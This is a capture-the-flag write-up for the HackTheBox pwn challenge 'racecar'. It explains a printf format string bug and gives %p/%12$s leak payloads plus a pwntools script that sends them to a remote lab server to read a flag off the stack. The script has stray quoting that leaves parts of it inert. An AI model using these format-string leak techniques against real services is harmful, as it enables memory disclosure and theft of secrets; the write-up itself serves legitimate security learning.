racecar
racecar
Platform: HackTheBox | Category: Pwn | Difficulty: Very Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Did you know that racecar spelled backwards is racecar? Well, now that you know everything about racing, win this race and get the flag!
Solution Approach
Core idea: Stack-Based Exploitation. Exploiting FSB to leak stack value.
Steps
-
First, unzip the file given and enter
hacktheboxas the password. -
Next, check the file type.
-
It's an ELF 32 bit file, dynamically linked and luckily not stripped.
-
Now check the file's protector.
-
Hmm.. Looks like there's no vuln we can utilize here.
-
Anyway, let's run the file.
-
Let's run the remote server.
-
Follow the same steps as before.
-
Let's decompile the file using ghidra.
-
Since we want to know what happen we the program asked us to enter the string, so let's check the
car_menu()function.
CAR_MENU()
-
Looks like we found the vuln here.
-
We can do
format strings attack, because there's no identifier specified at theprintf()function. -
Run the file again, but this time in gdb and create the
flag.txtfirst. -
At this session, input
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %pas the input -
Great we reached the next step now.
-
Based from the ghidra we know this variable stored the flag content
IT HAS 44 BYTES AS THE BUFFER
-
Since we know the buffer is 44 bytes, then we need to find the offset of the
__*format. To find that, since we can't loop to run the file. -
We can find the offset by input it manually from 1 - 44. -> (%1-44$s).
-
Got a string when i tried to input
%12$s. -
It means the start offset of the flag is 12.
-
Let's continue.
INPUT -> %12$p %13$p
NOTES: Changed the 's' to 'p', because we would get segmentation fault. Just need the hex value.
CONTINUE -> %12$p %13$p %14$p
CONTINUE -> %12$p %13$p %14$p %15$p
ETC..
- To simply automate this, i made a python script to solve this challenge:
THE SCRIPT
py read-only • copy allowedfrom pwn import * import os ''' def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw) #gdbscript = ''' #init-pwndbg #continue '''.format(**locals()) exe = '.racecar' ### This will automatically get context arch, bits, os etc elf = context.binary = ELF(exe, checksec=False) ''' os.system('clear') context.log_level = 'debug' payload = "" for i in range(12, 13): payload += "%" + str(i) + "$p " # sh.sendline('%' + str(i) + '$s') sh = remote('157.245.41.35', 30606) sh.recvuntil(": ") sh.sendline(b'Nicolas') sh.recvuntil(": ") sh.sendline(b'Nic') sh.recvuntil("> ") sh.sendline(b'2') sh.recvuntil("> ") sh.sendline(b'1') sh.recvuntil("> ") sh.sendline(b'2') sh.recvuntil("> ") sh.sendline(payload) sh.recv() result = sh.recv() print(result) output = (result.decode("utf-8").split("m\n"))[1] output = output.split() flag = "" for items in output: flag += p32(int(items, base = 16)).decode("utf-8") #base 16 -> hex , then decode it print(flag)
-
Try to input 13 as the end offset of the flag.
-
Got the prefix only.
-
So increment the second parameter of the loop until i got the complete flag.
-
Turns out, i got the flag when the second parameter value is 223.
-
Finally, we got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Exploiting FSB to leak stack value.